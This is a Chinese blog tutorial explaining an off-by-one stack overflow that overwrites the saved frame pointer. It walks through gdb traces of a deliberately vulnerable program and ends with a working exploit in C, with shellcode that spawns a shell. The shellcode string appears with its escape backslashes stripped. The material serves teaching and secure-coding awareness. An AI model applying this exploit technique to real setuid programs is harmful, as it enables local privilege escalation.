zoukankan      html  css  js  c++  java
  • 单字节缓冲区溢出

    溢出专题(一) 单字节缓冲区溢出

    http://tech.ccidnet.com/art/1101/20050407/626435_1.html

    通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容,来使程序跳转到我们的shellcode
    处去执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
    有些不可思议,其实还是很有可能的,下面我们就来看看这是如何实现的。

    我们先写一个有弱点的程序,它只能被溢出一个字节。


    ipdev:~/tests$ cat > suid.c
    #include

    func(char *sm)
    {
             char buffer[256];
              int i;
              for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
                      buffer[i]=sm[i];
    }

    main(int argc, char *argv[])
    {
              if (argc < 2) {
                      printf("missing args ");
                      exit(-1);
              }
               func(argv[1]);
    }
    ^D
    ipdev:~/tests$ gcc suid.c -o suid
    ipdev:~/tests$

    我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
    只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还是
    先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:


       ipdev:~/tests$ gdb ./suid
       ...
       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb)
    当call指令被调用时,进程会首先将%eip(下一条要执行的指令的地址)压入堆栈。
    然后将%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈
    的地址拷贝到%ebp中,接着为局部变量分配空间:%esp减小0x104字节(256+4)。
    buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前,我们的
    堆栈中的情况如下:

             栈顶(低地址)
             
           |---------|  
       |    i    |        4字节
       |---------|
       | buff[0] |  
       |---------|   |
       | buff[1] |   |
       |---------|   |--> 256字节
           | ....... |   |
       |---------|   |
           |buff[255]|  /  
       |---------|/    
       |保存的ebp|        4字节  
       |---------|
       |保存的eip|        4字节
       |---------|
       
        栈底(高地址)
       
    这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆栈),
    如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。当func()
    将要结束时,%ebp被从堆栈中恢复。(见)让我们再看看接下来发生了什么:
    (还是利用gdb来反汇编main())

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 : pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb)


    当func()调用结束后,%ebp将会被拷贝到%esp中(见),这意味着我们可以
    改变%esp到其他的值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 : pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb) break *0x80481b4
       Breakpoint 2 at 0x80481b4
       (gdb) run `perl -e 'print "A"x257'`
       Starting program: /home/klog/tests/suid `overflow 257`

       Breakpoint 2, 0x80481b4 in main ()
       (gdb) info register esp
       esp            0xbffffd45       0xbffffd45
       (gdb)

    在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
    被拷贝到%esp中作为新的堆栈指针(见),
    main()会再从堆栈中弹出保存的ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶
    向高地址方向缩短4个字节)。这时我们看到的%esp的值就是:
    0xbffffd45=0xbffffd41+0x41

    很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中的
    %esp的值.当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),将
    它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
    弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。
    我们可以构造一个buffer用来完成我们的工作:

       [nops][shellcode][&shellcode][改变%ebp的字节]

    这样当溢出发生时堆栈中的情况就是这样的:

             栈顶(低地址)
             
           |---------|  
       |    i    |        4字节
       |---------|
       | 0x90    |  
       |---------|   |
       | 0x90    |   |
       |---------|   |--> 256字节
           | ....... |   |
       |---------|   |
           |shellcode|   |
           | ....... |   |
       |---------|   |
       |跳转地址 |  /  
       |---------|/    
       |保存的ebp|        4字节(最低的一个字节被覆盖)
       |---------|
       |保存的eip|        4字节
       |---------|
       
        栈底(高地址)

    我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
    中,从而去执行我们的shellcode代码。
    现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
    程序来构造一下真实攻击时的场景。

       ipdev:~/tests$ cat > fake_exp.c
       #include
       #include

       main()
       {
               int i;
               char buffer[1024];
       
               bzero(&buffer, 1024);
               for (i=0;i<=256;i++)    
               {
                       buffer[i] = 'A';
               }
               execl("./suid", "suid", buffer, NULL);
       }
       ^D
       ipdev:~/tests$ gcc fake_exp.c -o fake_exp
       ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
       ...
       (gdb) run
       Starting program: /home/klog/tests/exp2

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x8048090 in ___crt_dummy__ ()
       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb) break *0x804813d
       Breakpoint 1 at 0x804813d
       (gdb) c
       Continuing.

       Breakpoint 1, 0x804813d in func ()
       (gdb) info register esp
       esp            0xbffffc60       0xbffffc60
       (gdb)

    从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
    开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
    小)-0x04(跳转地址大小)=0xbffffd60处。

    有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
    最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
    因为弹出了保存的%ebp)。
    跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
    (就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
    我们这里选用0xbffffc74.

       ipdev:~/tests$ cat > exp.c
       #include
       #include

       char sc_linux[] =
               "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
               "x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
               "x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
               "xd7xffxffxff/bin/sh";

       main()
       {
               int i, j;
               char buffer[1024];

               bzero(&buffer, 1024);
               for (i=0;i<=(252-sizeof(sc_linux));i++)
               {
                       buffer[i] = 0x90;
               }
               for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
               {
                       buffer[i] = sc_linux[j];
               }
               buffer[i++] = 0x74; //
                  buffer[i++] = 0xfc; //  跳转地址
               buffer[i++] = 0xff; //
               buffer[i++] = 0xbf; //
               buffer[i++] = 0x5c; // 用来覆盖%ebp的字节

               execl("./suid", "suid", buffer, NULL);

       }
       ^D
       ipdev:~/tests$ gcc exp.c -o exp
       ipdev:~/tests$ ./exp
       bash$

    成功了!现在让我们仔细的看一下到底发生了些什么。


       ipdev:~/tests$ gdb --exec=exp --symbols=suid
       ...
       (gdb) run
       Starting program: /home/klog/tests/exp

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x8048090 in ___crt_dummy__ ()
       (gdb)

    我们先来设置几个断点来观察被覆盖的栈帧指针的值。

       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi    
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb) break *0x804817e
       Breakpoint 1 at 0x804817e
       (gdb) break *0x804817f
       Breakpoint 2 at 0x804817f
       (gdb)

    上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 :  pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8 <_IO_printf>
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb) break *0x80481b3
       Breakpoint 3 at 0x80481b3
       (gdb) break *0x80481b4
       Breakpoint 4 at 0x80481b4
       (gdb)

    上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
    现在让我们来运行程序:

       (gdb) c
       Continuing.

       Breakpoint 1, 0x804817e in func ()
       (gdb) info reg ebp
       ebp            0xbffffd64       0xbffffd64

    这是%ebp的原来的内容
       
       (gdb) c
       Continuing.

       Breakpoint 2, 0x804817f in func ()
       (gdb) info reg ebp
       ebp            0xbffffd5c       0xbffffd5c

    溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
       
       (gdb) c
       Continuing.

       Breakpoint 3, 0x80481b3 in main ()
       (gdb) info reg esp
       esp            0xbffffd5c       0xbffffd5c
       (gdb) c
       Continuing.

    此时%esp指向0xbffffd5c

       Breakpoint 4, 0x80481b4 in main ()
       (gdb) info reg esp
       esp            0xbffffd60       0xbffffd60

    弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
       
       (gdb)

    看一下此时堆栈中的情况:

       (gdb) x 0xbffffd60
       0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
       
    这里确实存放着我们的跳转地址    

       (gdb) x/10 0xbffffc74
       0xbffffc74 <__collate_table+3086618856>:        0x90909090      
       0x90909090    0x90909090       0x90909090
       0xbffffc84 <__collate_table+3086618872>:        0x90909090      
       0x90909090    0x90909090       0x90909090
       0xbffffc94 <__collate_table+3086618888>:        0x90909090      
       0x90909090
       (gdb)
       
    跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。


       (gdb) c
       Continuing.

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x40000990 in ?? ()
       (gdb) c
       Continuing.
       bash$
       
    下面的简图大致描述了%ebp与%esp的变化。
         
         func()中,返回前         main()中              main()中              main()中

             栈顶(低地址)       addl $0x4,%esp        movl %ebp,%esp        popl %ebp
             
    0xbffffc60|----------|         |----------|          |----------|          |----------|
          |    i     |         |    i     |          |    i     |          |    i     |
    0xbffffc64|----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
             |----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
          |----------|         |----------|          |----------|          |----------|
     ----->  | .......  |         | .......  |          | .......  |          | .......  |
    |        |----------|         |----------|          |----------|          |----------|
    |        |shellcode |         |shellcode |          |shellcode |          |shellcode |
    |        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... |
    0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------|
    |-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
    0xbffffd64|----------|         |----------|          |----------|          |----------|
    保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c|
     %esp--->|----------|         |----------|          |----------|          |----------|
          |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip |
          |----------|  %esp-->|----------|          |----------|          |----------|
                     
          %esp=0xbffffd68      %esp=0xbffffd6c        %esp=0xbffffd5c      %esp=0xbffffd60  
          %ebp=0xbffffd5c      %ebp=0xbffffd5c        %ebp=0xbffffd5c      %ebp=0xxxxxxxxx
                     
    结束语:            
                     
    这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
    是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
    造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
    于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
    必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
    高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
    跳到那个地址去执行...
                     
    尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
    也可能导致严重的安全问题.:-)

  • 相关阅读:
    WampServer Mysql配置
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 前10名
  • 原文地址:https://www.cnblogs.com/jingzhishen/p/3607410.html
Copyright © 2011-2022 走看看